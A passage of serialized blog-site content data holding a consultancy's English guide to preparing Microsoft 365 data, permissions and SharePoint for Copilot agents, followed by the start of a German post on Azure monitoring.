first.",[1684,8282,8284],{"id":8283},"step-6-involve-site-owners-for-access-reviews","Step 6: Involve Site Owners for Access Reviews",[814,8286,2471],{},[814,8288,8289,8290,8293],{},"For each SharePoint site (or Team) highlighted as risky, have the site owner double-check who has access and if that is appropriate. Owners are typically closest to the content and can quickly spot “Oh, why does ",[1735,8291,8292],{},"Everyone"," have read access to this? That shouldn’t be.” Implement a process where site admins certify permissions regularly.",[1684,8295,8297],{"id":8296},"step-7-establish-ongoing-oversight","Step 7: Establish Ongoing Oversight",[814,8299,2471],{},[814,8301,8302],{},"Put in place a continuous monitoring process for new oversharing issues. Oversharing control isn’t a one-time fix; as new sites, Teams, and files get created, you need to catch misconfigurations proactively. Consider using Microsoft Purview’s reports or alerts to catch things like files shared externally or to huge groups, new public teams created, etc. Microsoft’s tools can automate alerts for these conditions, so make use of them to maintain a strong posture.",[1684,8304,8306],{"id":8305},"step-8-apply-sensitivity-labels-and-dlp-policies","Step 8: Apply Sensitivity Labels and DLP Policies",[814,8308,2471],{},[814,8310,8311,8312,8315,8316,8319],{},"Use Microsoft Purview ",[973,8313,8314],{},"Sensitivity Labels"," to classify data (Confidential, Highly Confidential, etc.) and bind those labels to protection settings. For instance, a “Confidential” label can encrypt files or prevent external sharing. Also configure ",[973,8317,8318],{},"Data Loss Prevention (DLP)"," policies to prevent or monitor oversharing of sensitive info (like blocking someone from emailing a list of customer SSNs). These tools not only prevent accidental leaks in day-to-day use, they also work with Copilot: if Copilot tries to access or output labeled content in ways it shouldn’t, DLP can intervene. Moreover, Copilot itself will carry forward the document’s label to its responses, as noted later.",[1684,8321,8323],{"id":8322},"step-9-implement-power-platform-governance","Step 9: Implement Power Platform Governance",[814,8325,2471],{},[814,8327,8328],{},"Extend your oversight to the Power Platform (Power Apps, Power Automate, etc.). Define DLP policies for Power Platform to control connectors (so someone can’t, say, make a flow that pulls data from a sensitive SharePoint list and posts it to an external service). Also consider having multiple environments (Dev/Test/Prod) with proper security so that “Citizen Developers” building agents or apps don’t inadvertently expose data. Essentially, prevent the Power Platform from becoming an ungoverned backdoor to your data.",[1684,8330,8332],{"id":8331},"step-10-educate-and-enable-your-agent-builders","Step 10: Educate and Enable Your Agent Builders",[814,8334,2471],{},[814,8336,8337],{},"Finally, create guidelines and best practices for those who will be building or deploying AI agents (whether they are pro developers or business users). Establish training on handling data safely: e.g., how to choose appropriate knowledge sources for an agent, why not to include sensitive files in a broadly shared agent, how to test an agent’s output for any unexpected info. By fostering a data-aware culture among “agent makers,” you reduce the chance of someone inadvertently exposing information when designing an AI solution.",[814,8339,8340],{},[973,8341,8342],{},"Sources:",[965,8344,8345,8351],{},[970,8346,8347],{},[821,8348,8349],{"href":8349,"rel":8350},"https://techcommunity.microsoft.com/blog/microsoft365copilotblog/from-oversharing-to-optimization-deploying-microsoft-365-copilot-with-confidence/4357963",[825],[970,8352,8353],{},[821,8354,8355],{"href":8355,"rel":8356},"https://techcommunity.microsoft.com/blog/microsoft365copilotblog/microsoft-graph-connectors-update-expand-copilot%E2%80%99s-knowledge-with-50-million-ite/4243648",[825],[814,8358,8359],{},"After you have completed these steps, you can now securely go on and start building productive agents. To build agents, we have different platforms and features from Microsoft that we can rely on for. You'll find the most prominent examples in the next chapter. If you need help with this list, feel free to reach out to us so we can help you with this important preparation exercise.",[814,8361,8362],{},"Nothing prevents you in the meanwhile to create PoC or Test-Agents with sample data, manually uploaded files or specific data attached via RAG. But we recommend these steps before a larger implementation / rollout of agents.",[809,8364,8366],{"id":8365},"understanding-differences-between-agent-platforms","Understanding differences between Agent Platforms",[814,8368,816],{},[1684,8370,8372],{"id":8371},"step-1-understand-your-agent-creators","Step 1: Understand your Agent-Creators",[814,8374,2471],{},[814,8376,8377,8378,8381],{},"After the foundation work to prepare the data, we need to understand which platforms are available to create those agents. We try to differentiate these tools by features and possibilities, but it's important to notice that creating agents and choosing the right tolling is a range. There are multiple ways to build AI agents in the Microsoft ecosystem. It’s important to pick the right one for your needs and your team’s skill level. It also clarifies when to leverage ",[973,8379,8380],{},"Azure AI Foundry"," versus built-in Copilot Studio tools.",[814,8383,8384],{},"Microsoft offers a set of different tools that can build agents by today. While they seem like each other, they are built for different target audiences and levels of expertise. Take a closer look at the overview below. Understanding who needs to create and maintain these agents, also shows us, which Knowledge sources (= data) we need to prepare for our Agents. Beside the tools in the list below, there are even more pro-code solutions to build agents like M365 Agents Toolkit, Visual Studio Code, Agent SDK and more.  All our data preparation  steps´ apply for them as well, since they access the same data like other agents do.",[814,8386,8387,976,8389],{},[973,8388,8159],{},[821,8390,8391],{"href":8391,"rel":8392},"https://www.egroup-us.com/news/microsoft-copilot-ai-integration/",[825],[8175,8394,968,8395,968,8398],{},[8178,8396],{"media":8180,"srcSet":8397},"https://res.cloudinary.com/c4a8/image/upload/v1756363984/blog/pics/table-copilot-ai-integration.png",[1728,8399],{"src":8397,"alt":8400},"Comparison of three Copilot solution categories: Pre-Built (ootb), Makers, and Developers.",[1684,8402,8404],{"id":8403},"step-2-identify-use-cases-and-requirements-for-your-platform","Step 2: Identify Use Cases and requirements for your platform",[814,8406,2471],{},[814,8408,8409],{},"As you can probably think of, not every platform supports every use case. Agents can be used for simple tasks, like answering questions based on existing knowledge or complex, like automatically generating answers or executing processes. Also, the final UX where and how we want to access those agents is important to decide for a platform.",[814,8411,8412],{},[1728,8413],{"alt":8414,"src":8415},"Diagram showing three levels of agent capabilities from simple to advanced","https://res.cloudinary.com/c4a8/image/upload/blog/pics/agents-differences.png",[814,8417,8418],{},"With these considerations in mind, we usually try to use the easiest solution possible to build our Agent. But also, we need to find the solution that is scalable for further development. But not every Agent needs to built on Agent AI Foundry from the very beginning.",[814,8420,8421],{},[973,8422,8423],{},"Tip:",[1680,8425,8426],{},[814,8427,8428],{},"If you are not sure where to start to build your Agent, you always can use Copilot Studio and either integrate more Data from Azure AI there and publish it to Microsoft 365 Copilot. So get both \"up- and downwards compatibility\".",[809,8430,8432],{"id":8431},"rag-retrieval-augumented-generation-vs-sharepoint-vs-upload","RAG (Retrieval-Augumented Generation) vs. SharePoint vs. Upload",[814,8434,816],{},[814,8436,8437,8438,8441],{},"Looking at it the first time, everything seems to be RAG – but there are differences! When you first explore Copilot Agents and its agent capabilities, it’s tempting to assume that all knowledge integration follows the same RAG (Retrieval-Augmented Generation) pattern. While they may all ",[1735,8439,8440],{},"look"," like RAG from the outside: retrieving documents and generating answers, the way they work under the hood differs significantly. Understanding these differences is essential for choosing the right approach based on your goals, scale, and technical readiness. Here is a short explanation and overview",[1684,8443,8445],{"id":8444},"manual-file-uploads","Manual File Uploads",[814,8447,2471],{},[814,8449,8450,8451,8454],{},"Manual upload is the simplest way to add knowledge to a Copilot agent. You drag and drop documents directly into the Copilot Studio interface. Microsoft automatically indexes these files and retrieves relevant content during a user query. This is ideal for small pilots and early testing. ",[973,8452,8453],{},"Also, be aware that the content of the files should be accessible to everyone with access to agent",". There is not Permission-Management here that you need to take care of. On the other hand, you will need to manually update these files in the long term if things change. Currently for Copilot Agents you can add up to 20 files manually.",[814,8456,8457,8458],{},"Source: ",[821,8459,8462],{"href":8460,"rel":8461},"https://learn.microsoft.com/en-us/microsoft-365-copilot/extensibility/copilot-studio-agent-builder-knowledge",[825],"https://learn.microsoft.com/en-us/microsoft-365-copilot/extensibility/copilot-studio-agent-builder-knowledge#file-size-limits",[1684,8464,8466],{"id":8465},"sharepoint-online","SharePoint Online",[814,8468,2471],{},[814,8470,8471],{},"This method uses Microsoft’s Retrieval API to access content directly from SharePoint Online connected via Graph Connector. The agent retrieves the most relevant content live at query time, respecting existing Microsoft 365 permissions. Content can be SharePoint sites, document libraries, folders or files. It’s dynamic, secure, and well-suited for scaling across departments or business units without managing your own infrastructure. Building up on the existing infrastructure, we are using the built-in security model from SharePoint with is a huge benefit compared to other knowledge options. Departments can easily update the files and that will be reflected within the agent. That means if two users with different access levels ask the agent, one might get an answer from a certain file while another user (without access) would not – which is exactly the behavior we want.",[814,8473,8474],{},"Note: SharePoint Lists are currently a not supported knowledge-type, so you can not index them out of the box (Q3 2025)",[1684,8476,8478],{"id":8477},"custom-rag-self-managed","Custom RAG (Self-Managed)",[814,8480,2471],{},[814,8482,8483],{},"In a classic RAG setup, you build and manage the entire retrieval pipeline yourself. That includes document preprocessing, chunking, embedding, storing in a vector database, and retrieving the top matches at query time. This gives you full control over how content is processed and retrieved, but it also brings complexity and maintenance overhead. It’s best suited for advanced use cases that require customization beyond what Microsoft’s managed services offer. This is not an in-built feature in Copilot or Copilot Studio; we would do this in Microsoft Azure.",[814,8485,8486],{},"A example when to use RAG could be for instance, If you needed to integrate an AI agent with a proprietary database or thousands of PDFs stored outside of Microsoft 365, and apply custom filters, a self-managed RAG might be necessary – but this requires significant effort.",[814,8488,8489,8490],{},"source: ",[821,8491,8492],{"href":8492,"rel":8493},"https://learn.microsoft.com/en-us/azure/search/retrieval-augmented-generation-overview?tabs=docs",[825],[1684,8495,8497],{"id":8496},"what-to-choose-and-when","What to Choose and When",[814,8499,2471],{},[814,8501,8502],{},"While all three approaches involve retrieving content to support language generation, only the custom self-managed solution qualifies as “true RAG” in the technical sense. For most organizations starting out, manual uploads or SharePoint connections are significantly easier and faster to implement. They provide strong results with minimal setup - and they let teams focus on use case design and adoption, rather than infrastructure.",[814,8504,8505],{},"A general advice from my side in this point:",[1680,8507,8508],{},[814,8509,8510],{},"Try to build the agents as close to your data as possible",[814,8512,8513],{},"Example: If your data is stored in large SQL databases or external CRM systems, a SharePoint Agent will not do the job. If we have all our knowledge in SharePoint, SharePoint Agents or Copilot Agents might be a good start.",[814,8515,8516],{},"Custom RAG should be considered only when your needs go beyond what the managed options can provide, not as the default starting point. A manual upload is great for the first pilot or for small pilots with limited and specific knowledge that is not often updated. In many scenarios we would just use a SharePoint library or site with the agent. Because of this, we are focusing on a scenario looking like that:",[809,8518,8520],{"id":8519},"microsoft-365-copilot-copilot-agents-security-compliance-out-of-the-box","Microsoft 365 Copilot & Copilot Agents: Security & Compliance out of the box",[814,8522,816],{},[814,8524,8525,8528],{},[973,8526,8527],{},"Secure cloud infrastructure"," is the bedrock for enterprise AI. Microsoft provides the most secure framework possible for our Agents by putting them in context of Microsoft 365 Copilot. Every organization can trust their existing Security Framework based on Conditional Access and Multi-Factor authentication for access and their existing Governance Framework based on Microsoft Purview.",[814,8530,8531],{},"Agents that are used in M365 Copilot or published from Copilot Studio as a Teams Chatbot are only accessible within our tenant boundaries. That means we get the same level of security for these applications that we already have.",[814,8533,8534],{},[1728,8535],{"alt":8536,"src":8537},"Diagram showing how Microsoft 365 Copilot accesses user data within Microsoft 365.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/copilot-security.png",[814,8539,8540],{},"In addition to that, Microsoft offers several technical and organization commitments gathered as we call it \"Enterprise Grade Data Protection\".",[814,8542,8457,8543],{},[821,8544,8162],{"href":8162,"rel":8545},[825],[1684,8547,8549],{"id":8548},"microsoft-365-copilot-enterprise-data-protection-edp-for-prompts-and-responses","Microsoft 365 Copilot: Enterprise Data Protection (EDP) for Prompts and Responses",[814,8551,2471],{},[965,8553,8554,8573,8579,8599,8605],{},[970,8555,8556,8559,8560,6518,8563,8566,8567,6518,8570,3711],{},[973,8557,8558],{},"Contractual Protection",": Prompts (user input) and responses (Copilot output) are protected under the ",[973,8561,8562],{},"Data Protection Addendum (DPA)",[973,8564,8565],{},"Product Terms",". These protections are the same as those applied to ",[973,8568,8569],{},"emails in Exchange",[973,8571,8572],{},"files in SharePoint",[970,8574,8575,8578],{},[973,8576,8577],{},"Data Security:"," Encryption at rest and in transit, Physical security controls, Tenant-level data isolation",[970,8580,8581,8584,8585,8588,8589,3216,8592,3216,8595,8598],{},[973,8582,8583],{},"Privacy Commitments"," Microsoft acts as a ",[973,8586,8587],{},"data processor",", using data only as instructed by the customer. Supports ",[973,8590,8591],{},"GDPR",[973,8593,8594],{},"EU Data Boundary",[973,8596,8597],{},"ISO/IEC 27018",", and more.",[970,8600,8601,8604],{},[973,8602,8603],{},"Access Control & Policy Inheritance",": Copilot respects: Identity models and permissions, Sensitivity labels, Retention policies, Audit settings, Admin configurations, AI & Copyright Risk Mitigation and Protection against: Prompt injection, Harmful content, Copyright issues (via protected material detection and Customer Copyright Commitment)",[970,8606,8607,8610],{},[973,8608,8609],{},"No Model Training:"," Prompts, responses, and Microsoft Graph data are NOT used to train foundation models.",[1684,8612,8614],{"id":8613},"copilot-agents-with-sharepoint-online-knowledge","Copilot Agent's with SharePoint Online-Knowledge:",[814,8616,2471],{},[965,8618,8619,8629],{},[970,8620,8621,8624,8625,8628],{},[973,8622,8623],{},"Permission & Sharing Model:"," Agents with SharePoint Online access always respects the permissions of the associated SharePoint site. That means, ",[973,8626,8627],{},"on one hand, you need to ensure that everyone who should have access has at least read permissions on the site","; on the other hand, you must be vigilant about not granting unnecessary permissions that could expose sensitive information to unauthorized users**. Properly configuring permissions is essentia**l, as Copilot Agents will only be able to access and surface content that the querying user is permitted to see. Additionally, leveraging Microsoft Purview information protection ensures that sensitivity labels and data loss prevention (DLP) policies persist with the content",[970,8630,8631,8634,8635,8638],{},[973,8632,8633],{},"Persistent Labels & DLP:"," Enable ",[973,8636,8637],{},"Microsoft Purview"," information protection so that sensitivity labels persist with content. Copilot agents inherit labels on source documents. Meaning if a file is classified “Confidential,” any AI-generated content or document from now on, will carry that label forward. This persistent label inheritance works in tandem with Data Loss Prevention policies to prevent AI from inadvertently exposing protected data. In practice, that means even if Copilot summarizes a sensitive file, the summary will be handled as sensitive too. This is something outstanding we do not find outside of Microsoft 365 and we won't see any AI Agent that is able to deeply integrate like this in the Microsoft 365 ecosystem!",[809,8640,8642],{"id":8641},"best-practices-to-prepare-further-sharepoint-online-for-agent-use","Best Practices to prepare further SharePoint Online for Agent use",[814,8644,816],{},[814,8646,8647],{},"To prepare SharePoint Online for effective use with Copilot Agents, follow these best practices:",[1684,8649,8651],{"id":8650},"dedicated-sharepoint-site","Dedicated SharePoint Site",[814,8653,2471],{},[814,8655,8656],{},"First, create a dedicated SharePoint site or a specific folder designed exclusively for your Copilot Agent’s knowledge base. This approach helps minimize issues related to oversharing and reduces the risk of users accidentally uploading sensitive or irrelevant files to the agent’s accessible repository. If you decide to use an existing SharePoint site, carefully review its contents to ensure that no confidential or sensitive information is stored there that should not be discoverable by the agent.",[1684,8658,8660],{"id":8659},"granting-access","Granting Access",[814,8662,2471],{},[814,8664,8665,8666,8669],{},"It is also important to ensure that all intended users have the necessary read permissions to access the site or folder. If you need to grant access manually, Ensure all intended users have read access to the site (for example, by ",[973,8667,8668],{},"adding them to the SharePoint site’s Visitors group"," or an appropriate Azure AD security group) to simplify the process and prevent accidental permission misconfigurations.",[1684,8671,8673],{"id":8672},"prepare-files","Prepare Files",[814,8675,2471],{},[814,8677,8678,8679,8682,8683,8686],{},"When preparing documents for use with Copilot Agents, remember that the AI currently ",[973,8680,8681],{},"cannot interpret embedded images within"," files. ",[973,8684,8685],{},"Therefore, add descriptive image captions or alternative text"," to help ensure that important visual information is not lost. For text-heavy documents, make sure When summarizing or referencing content, keep the total to a maximum of 1.5 million words or 300 pages to ensure Copilot works effectively.",[814,8688,8689,8690,8693],{},"For ",[973,8691,8692],{},"Excel files",", organize your data so that each file focuses either on numbers or on text, as mixed-content tables tend to yield less accurate results. Agents also respond most reliably to queries when the relevant data is contained within a single sheet of the workbook.",[814,8695,8696],{},[1735,8697,8698],{},"Agents respond best to Excel data when it’s contained in one sheet.",[814,8700,8701],{},"Example: If you have a large customer feedback survey stored in a single Excel file, separate the quantitative data (such as ratings and numerical responses) from the qualitative data (such as free-text feedback) into two different sheets. This method allows you to use tools like Python and Excel formulas to efficiently analyze the numerical data (e.g., calculate averages, sort results, determine confidence levels), while leveraging M365 Copilot’s sentiment analysis features to gain insights from the text-based feedback.",[1684,8703,8705],{"id":8704},"file-limitations","File Limitations",[814,8707,2471],{},[814,8709,8710,8711],{},"Finally, be aware of the file types and size limitations supported by Copilot Agents and Copilot Studio. The following table outlines current support:",[821,8712,8462],{"href":8460,"rel":8713},[825],[814,8715,8716,8717],{},"Also acknowledge those best practices Microsoft has shared on document lengths: ",[821,8718,8719],{"href":8719,"rel":8720},"https://support.microsoft.com/en-gb/topic/keep-it-short-and-sweet-a-guide-on-the-length-of-documents-that-you-provide-to-copilot-66de2ffd-deb2-4f0c-8984-098316104389",[825],[8722,8723],"v-table",{":head":2043,":hide-container":2043,":table":8724},"fileLimitations",[814,8726,8727],{},"Currently unsupported Filetypes in SharePoint Online: Officially everything else that is not listed there, is not officially supported.",[814,8729,8730],{},"Certain file types, such as CSV files, may function adequately even though they are not officially supported because they closely resemble plain text formats. However, most other file types—particularly container files like CAB, EXE, ZIP, as well as image, video, and audio formats such as PNG, IMG, MP3, and MP4—are not supported at this time.",[809,8732,8025],{"id":8024},[814,8734,816],{},[814,8736,8737],{},"By following these recommendations, you can ensure that your Copilot Agents have access to well-structured, secure, and high-quality data, maximizing their usefulness and minimizing the risk of accidental data exposure. Investing time in preparing your SharePoint environment sets a strong foundation for successful AI agent deployment and adoption within your organization.",[814,8739,8740],{},"In fact many of our \"Build-an-Agent\" projects starting exactly with that. Not building the agent, but preparing the infrastructure and knowledge that we have a good quality data to use for the AI, because the Agent is only as good as the system beneath it!",{"title":1062,"searchDepth":1063,"depth":1063,"links":8742},[8743,8744,8745,8758,8762,8768,8772,8778],{"id":8099,"depth":1063,"text":8100},{"id":8118,"depth":1063,"text":8119},{"id":8194,"depth":1063,"text":8195,"children":8746},[8747,8748,8749,8750,8752,8753,8754,8755,8756,8757],{"id":8203,"depth":1765,"text":8204},{"id":8212,"depth":1765,"text":8213},{"id":8225,"depth":1765,"text":8226},{"id":8242,"depth":1765,"text":8751},"Step 4: Generate a SharePoint Online Baseline Report",{"id":8274,"depth":1765,"text":8275},{"id":8283,"depth":1765,"text":8284},{"id":8296,"depth":1765,"text":8297},{"id":8305,"depth":1765,"text":8306},{"id":8322,"depth":1765,"text":8323},{"id":8331,"depth":1765,"text":8332},{"id":8365,"depth":1063,"text":8366,"children":8759},[8760,8761],{"id":8371,"depth":1765,"text":8372},{"id":8403,"depth":1765,"text":8404},{"id":8431,"depth":1063,"text":8432,"children":8763},[8764,8765,8766,8767],{"id":8444,"depth":1765,"text":8445},{"id":8465,"depth":1765,"text":8466},{"id":8477,"depth":1765,"text":8478},{"id":8496,"depth":1765,"text":8497},{"id":8519,"depth":1063,"text":8520,"children":8769},[8770,8771],{"id":8548,"depth":1765,"text":8549},{"id":8613,"depth":1765,"text":8614},{"id":8641,"depth":1063,"text":8642,"children":8773},[8774,8775,8776,8777],{"id":8650,"depth":1765,"text":8651},{"id":8659,"depth":1765,"text":8660},{"id":8672,"depth":1765,"text":8673},{"id":8704,"depth":1765,"text":8705},{"id":8024,"depth":1063,"text":8025},{"lang":4,"seoTitle":8780,"titleClass":1077,"date":8781,"categories":8782,"blogtitlepic":8783,"socialimg":8784,"customExcerpt":8785,"keywords":8786,"maxContent":511,"fileLimitations":8787,"textImageTeaser":8814,"asideNav":8824,"hreflang":8844,"footer":8847,"scripts":8848,"published":511},"How to Prepare Your M365 Data for Copilot Agents","2025-08-28",[26],"head-microsoft-copilot.jpg","/blog/heads/head-microsoft-copilot.jpg","Before Microsoft 365 Copilot Agents can deliver real value, the foundation must be solid: clean data, proper permissions, and a reliable infrastructure. This guide explains why data quality determines AI success, highlights risks like oversharing and silos, and outlines 10 practical steps to make your M365 environment agent-ready—secure, compliant, and scalable.","Microsoft 365 Copilot, Copilot Agents, M365 data governance, AI readiness, SharePoint data security, M365 infrastructure, oversharing prevention, AI data preparation, Microsoft 365 security, agent-ready M365",[8788,8792,8796,8799,8802,8804,8806,8808,8810,8812],[8789,8790,8791],"File type","SharePoint Online - Limit","Manual Upload - Limit",[8793,8794,8795],".doc","150 MB","100 MB",[8797,8798,8795],".docx","512 MB",[8800,8794,8801],".html","not supported",[8803,8798,8795],".pdf",[8805,8794,8795],".ppt",[8807,8798,8795],".pptx",[8809,8794,8795],".txt",[8811,8794,8795],".xls",[8813,8794,8795],".xlsx",{"image":8815,"cloudinary":511,"alt":8816,"bgColor":8817,"offset":511,"white":511,"list":8818,"left":752,"float":752,"firstColWidth":3062,"secondColWidth":3074,"copyClasses":8064,"headline":8822,"subline":8823,"spacing":8067},"/icons/icon-copilot.svg"," Agent-Ready Infrastructure – Deine Basis für produktive Copilot Agents","#543b9c",[8819],{"ctaText":8820,"ctaHref":8821,"ctaType":1704,"external":511},"Sichere dir jetzt deinen Platz – kostenlos!","https://events.teams.microsoft.com/event/53a92e2c-9206-488d-9602-831864212207@a53834b7-42bc-46a3-b004-369735c3acf9","Agent-Ready Infrastructure – Deine Basis für produktive Copilot Agents","\u003Cp>KI ist nur so gut wie die Infrastruktur, auf der sie läuft. Wer Copilot Agents ernsthaft in der Praxis nutzen will, braucht mehr als nur Lizenzierung und Aktivierung. Es geht um strukturierte Daten, konsistente Governance und eine durchdachte Architektur, die skaliert – kurz: eine Agent-Ready Infrastructure.\u003Cbr /> \u003Cbr /> In unserem englischsprachigen Vortrag zeigen wir dir:\u003C/p> \u003Cul> \u003Cli>Warum Datenqualität und Informationsarchitektur erfolgsentscheidend sind\u003C/li> \u003Cli>Wie du deine Microsoft 365 Umgebung fit für produktive Agents machst\u003C/li> \u003Cli>Und welche Stellschrauben du heute drehen musst, damit dein Unternehmen morgen von KI wirklich profitiert\u003C/li> \u003C/ul> ",{"menuItems":8825},[8826,8829,8832,8835,8838,8841],{"href":8827,"text":8828},"#why-your-infrastructure-data-matters","Why Infrastructure Matters",{"href":8830,"text":8831},"#_10-steps-to-improve-your-m365-data-infrastructure-now","10 Steps for M365 Data",{"href":8833,"text":8834},"#understanding-differences-between-agent-platforms","Understanding Agent Platform",{"href":8836,"text":8837},"#rag-retrieval-augumented-generation-vs-sharepoint-vs-upload","RAG vs. SharePoint vs. Upload",{"href":8839,"text":8840},"#microsoft-365-copilot-copilot-agents-security-compliance-out-of-the-box","M365 Copilot: Security",{"href":8842,"text":8843},"#best-practices-to-prepare-further-sharepoint-online-for-agent-use","SharePoint Best Practices",[8845,8846],{"lang":4,"href":8078},{"lang":1091,"href":8080},{"noMargin":511},{"slick":511},"/posts/2025-08-28-agent-ready-infrastructure",{"title":8093,"description":1062},"posts/2025-08-28-agent-ready-infrastructure",[149,8087,8088,8089],"VQHrLLE5dicnShZ64yQnNp6g8n2mNV0raC9TYnrbHaM",{"id":8855,"title":8856,"author":8857,"body":8858,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":8958,"moment":8959,"navigation":511,"path":8993,"seo":8994,"stem":8995,"tags":8996,"webcast":752,"__hash__":9000},"content_de/posts/2025-08-27-azure-monitor.md","Monitoring, das mitwächst - organische Lösungen in Azure",[1390],{"type":806,"value":8859,"toc":8950},[8860,8864,8866,8869,8873,8875,8878,8881,8898,8902,8904,8907,8910,8913,8917,8919,8922,8925,8929,8931,8934,8937,8940,8943,8945,8947],[809,8861,8863],{"id":8862},"monitoring-in-azure","Monitoring in Azure",[814,8865,816],{},[814,8867,8868],{},"Monitoring in der Cloud ist längst mehr als das bloße Sammeln von Metriken. In dynamischen Azure-Umgebungen geht es darum, relevante Informationen gezielt zu erfassen, sinnvoll zu visualisieren und automatisiert darauf zu reagieren. Dabei stehen nicht nur technische Aspekte im Fokus, sondern auch Fragen der Skalierbarkeit, Kostenkontrolle und Governance.",[809,8870,8872],{"id":8871},"ganzheitliches-monitoring-mit-azure-mehr-als-nur-metriken","Ganzheitliches Monitoring mit Azure – mehr als nur Metriken",[814,8874,816],{},[814,8876,8877],{},"Ein modernes Monitoring-Konzept in Azure umfasst verschiedene Komponenten:",[814,8879,8880],{},"Azure Monitor als zentrale Plattform für Metriken, Logs und Alerts",[965,8882,8883,8886,8889,8892,8895],{},[970,8884,8885],{},"Log Analytics für tiefgehende Analysen und Korrelationen",[970,8887,8888],{},"Application Insights für die Überwachung von Applikationen",[970,8890,8891],{},"Workbooks und Dashboards zur Visualisierung",[970,8893,8894],{},"Action Groups und Logic Apps für automatisierte Reaktionen",[970,8896,8897],{},"Besonders wertvoll wird Monitoring, wenn es nicht nur Cloud-native Ressourcen umfasst, sondern auch hybride Szenarien abdeckt. Mit Azure Arc lassen sich OnPremises-Systeme und andere Clouds nahtlos einbinden – inklusive Logging, Alerting und Policy Enforcement. So entsteht ein konsistentes Bild über die gesamte Infrastruktur hinweg.",[809,8899,8901],{"id":8900},"veränderungen-und-bestand-im-blick-change-tracking-inventory","Veränderungen und Bestand im Blick – Change Tracking & Inventory",[814,8903,816],{},[814,8905,8906],{},"Ein oft unterschätzter Aspekt im Monitoring ist die Nachvollziehbarkeit von Änderungen an Ressourcen. Mit Azure Change Tracking lassen sich Konfigurationsänderungen an VMs, Dateien, Registry-Einträgen und Softwareinstallationen automatisch erfassen und historisch auswerten. Das ist besonders hilfreich bei der Ursachenanalyse von Incidents oder bei der Einhaltung von Compliance-Vorgaben.",[814,8908,8909],{},"Ergänzt wird das durch die Inventory-Funktion, die eine vollständige Übersicht über installierte Software, laufende Dienste und Systemkonfigurationen bietet – sowohl für Azure-VMs als auch für über Azure Arc eingebundene OnPremises-Systeme. So entsteht ein zentraler Blick auf den technischen Zustand der Umgebung, der sich nahtlos in bestehende Monitoring- und Governance-Strukturen integrieren lässt.",[814,8911,8912],{},"In Kombination mit Log Analytics und automatisierten Alerts wird Change Tracking zu einem leistungsfähigen Werkzeug für transparente Betriebsführung, schnelle Fehleranalyse und regelkonforme Dokumentation.",[809,8914,8916],{"id":8915},"kostenkontrolle-durch-gezieltes-logging","Kostenkontrolle durch gezieltes Logging",[814,8918,816],{},[814,8920,8921],{},"Ein häufiger Stolperstein im Monitoring ist die Kostenentwicklung durch unkontrolliertes Logging. Azure bietet mit Log Analytics verschiedene Pricing Tiers, sodass auch die langfristige Aufbewahrung kostengünstig möglich ist. Durch die Auswahl passender Retention-Zeiten und Sampling-Strategien lassen sich Kosten deutlich reduzieren, ohne auf wichtige Informationen zu verzichten.",[814,8923,8924],{},"Ein strukturierter Ansatz hilft dabei, Logging gezielt und effizient zu gestalten. Azure Policy spielt hier eine zentrale Rolle: Mit vordefinierten Richtlinien lassen sich z. B. Diagnostic Settings automatisiert auf neue Ressourcen anwenden. Das sorgt für Konsistenz und reduziert den manuellen Aufwand erheblich.",[809,8926,8928],{"id":8927},"monitoring-im-managed-service","Monitoring im Managed Service",[814,8930,816],{},[814,8932,8933],{},"Ein effektives Monitoring beginnt mit einer stabilen und strukturierten Basis. In Azure-Umgebungen bietet eine Landing Zone die notwendige Grundlage, um Governance, Sicherheit und Betrieb konsistent umzusetzen. Diese Basis umfasst nicht nur die Netzwerkinfrastruktur und Identitätsverwaltung, sondern auch ein durchdachtes Monitoring-Framework.",[814,8935,8936],{},"Wie so etwas funktionieren kann, zeigt unsere Azure Foundation: Sie bringt ein Set an bewährten Alerts, Logging-Konfigurationen und Azure Policy-Kontrollen mit, die sicherstellen, dass neue Ressourcen automatisch mit den richtigen Einstellungen versehen werden. So entsteht eine Umgebung, in der Transparenz und Betriebssicherheit von Anfang an mitgedacht sind.",[814,8938,8939],{},"Darauf aufbauend können App Zones für spezifische Anwendungen bereitgestellt werden. Diese Zonen sind flexibel gestaltbar und lassen sich durch zugeschnittene Alerts und automatisiertes Logging gezielt in das bestehende Monitoring integrieren. So bleibt die Umgebung skalierbar und wächst mit den Anforderungen – ohne dabei an Übersicht oder Standardisierung zu verlieren.",[814,8941,8942],{},"Durch diese Struktur wird Monitoring nicht nur technisch sauber umgesetzt, sondern auch strategisch skalierbar. Standards sorgen für Konsistenz, während die Modularität Raum für individuelle Anforderungen lässt. Ein Managed Service kann hier unterstützen, indem er Betrieb, Pflege und Weiterentwicklung übernimmt. So entstehen Freiheiten, um sich auf das zu konzentrieren, was wirklich zählt – das eigene Kerngeschäft, die Weiterentwicklung von Produkten oder die Optimierung von Geschäftsprozessen.",[809,8944,949],{"id":948},[814,8946,816],{},[814,8948,8949],{},"Modernes Monitoring in Azure ist ein zentraler Baustein für den stabilen und sicheren Betrieb von Cloud-Umgebungen. Wer frühzeitig auf Standardisierung, Automatisierung und Kostenkontrolle setzt, schafft die Grundlage für Tran",{"title":1062,"searchDepth":1063,"depth":1063,"links":8951},[8952,8953,8954,8955,8956,8957],{"id":8862,"depth":1063,"text":8863},{"id":8871,"depth":1063,"text":8872},{"id":8900,"depth":1063,"text":8901},{"id":8915,"depth":1063,"text":8916},{"id":8927,"depth":1063,"text":8928},{"id":948,"depth":1063,"text":949},{"lang":4,"seoTitle":8856,"titleClass":1077,"date":8959,"categories":8960,"blogtitlepic":8961,"socialimg":8962,"customExcerpt":8963,"keywords":8964,"contactInContent":8965,"hreflang":8986,"footer":8991,"scripts":8992},"2025-08-27",[199],"head-azure-monitor.png","/blog/heads/head-azure-monitor.png","Wie modernes Azure-Monitoring Transparenz schafft und Raum fürs Wesentliche lässt","Azure Monitor, Microsoft Best Practices, Azure, Azure Foundation",{"quote":752,"infos":8966},{"bgColor":1780,"color":1781,"boxBgColor":764,"boxColor":1781,"headline":1961,"subline":8967,"level":809,"textStyling":1784,"flush":1785,"person":8968,"form":8974},"Möchtet ihr mehr über Azure erfahren? Wir zeigen euch gerne, wie ihr mit Azure Verified Modules schneller, standardisierter und nachhaltiger in der Cloud arbeitet. Ob erster Einstieg oder skalierbare Implementierung, wir unterstützen euch mit Erfahrung und Best Practices. Wir freuen uns auf eure Kontaktaufnahme!",{"image":8969,"cloudinary":511,"alt":8970,"name":8970,"detailsHeader":1791,"details":8971},"/people/people-pam-team.png","Project & Account 